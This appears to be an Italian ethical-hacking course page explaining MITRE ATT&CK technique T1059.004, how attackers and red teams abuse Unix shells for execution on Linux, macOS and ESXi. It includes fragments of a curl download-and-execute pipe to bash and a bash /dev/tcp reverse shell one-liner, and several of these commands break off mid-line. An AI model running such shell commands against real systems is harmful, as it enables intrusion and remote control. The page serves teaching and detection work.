Iscriviti al webinar gratuito del 20 Ottobre per diventare Ethical Hacker! Scopri di più
Shell Unix: Unix Shell (T1059.004)
La tecnica T1059.004 descrive l'abuso delle shell Unix — sh, bash, zsh, ash e le varianti BusyBox tipiche di dispositivi embedded ed ESXi — come vettore di esecuzione codice su sistemi Linux, macOS e appliance. Rientra nella tattica TA0002 (Execution) e si colloca nella fase di Exploitation e Installation della kill chain, dove l'attaccante trasforma un accesso iniziale in comandi arbitrari sul target.
Le shell Unix sono lo strumento nativo di controllo del sistema: possono orchestrare qualsiasi operazione, dal reconnaissance locale alla persistenza, passando per download di payload, esecuzione di miner, apertura di reverse shell e configurazione di backdoor. La loro ubiquità le rende il vettore preferito per operazioni post-exploitation, sia in sessioni interattive via SSH sia in script non interattivi consegnati come parte di malware più ampio.
I dati MITRE ATT&CK mappano 10 gruppi APT, 45 famiglie malware e 5 campagne documentate che sfruttano questa tecnica, con un solo controllo di mitigazione formale (M1038 - Execution Prevention). L'ampiezza dell'ecosistema — da APT41 e Volt Typhoon fino a operatori di cryptomining come Rocke e TeamTNT — dimostra come la shell Unix sia trasversale a tutte le categorie di threat actor, dallo state-sponsored allo cybercrime finanziariamente motivato, con particolare rilevanza per attacchi contro infrastrutture di rete, hypervisor ESXi e cloud Linux.
In un ingaggio red team, l'abuso delle shell Unix rappresenta la spina dorsale della fase post-exploitation su target Linux, macOS ed ESXi. Le catene tipiche iniziano da un accesso via SSH, un web shell PHP che invoca system() o una command injection, per poi ramificarsi in operazioni di ricognizione, download e persistenza.
Una sequenza di reconnaissance standard su un host compromesso combina id, uname -a, cat /etc/os-release e ip a per profilare rapidamente il sistema. Per verificare capacità di egress e preparare stage successivi, il classico download-and-execute rimane efficace:
curl -fsSL
Questa pattern — usata in Operation MidnightEclipse dove gli operatori hanno redirezionato stdout verso bash — è replicabile in laboratorio contro target vulnerabili come DVWA o Metasploitable per validare detection.
Per reverse shell one-liner, le varianti più affidabili includono bash -i >& /dev/tcp/
Per ambienti ESXi, la superficie è specifica: UNC3886 ha usato script bash per installare VIB malevoli, quindi in lab è utile riprodurre il flusso con esxcli software vib install su una ESXi trial (a pagamento oltre la licenza gratuita). Il controllo execInstalledOnly va disabilitato in laboratorio per verificare l'efficacia dell'hardening.
Su macOS, la catena di Contagious Interview e OSX/Shlayer parte da script .command o .sh scaricati via curl -fsL verso /tmp, con estrazione di payload embedded tramite tail -c +
Sul lato tooling offensivo, Sliver (open source), Mythic (open source) e Havoc (open source) offrono agent Linux/macOS con moduli shell integrati. PoshC2 (open source) e Metasploit Framework (open source) coprono l'exec via SSH e le reverse shell classiche. Per lateral movement, Impacket (open source) e Chisel (open source) permettono pivoting realistico verso ambienti Unix segmentati, utile per validare detection ai perimetri interni.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.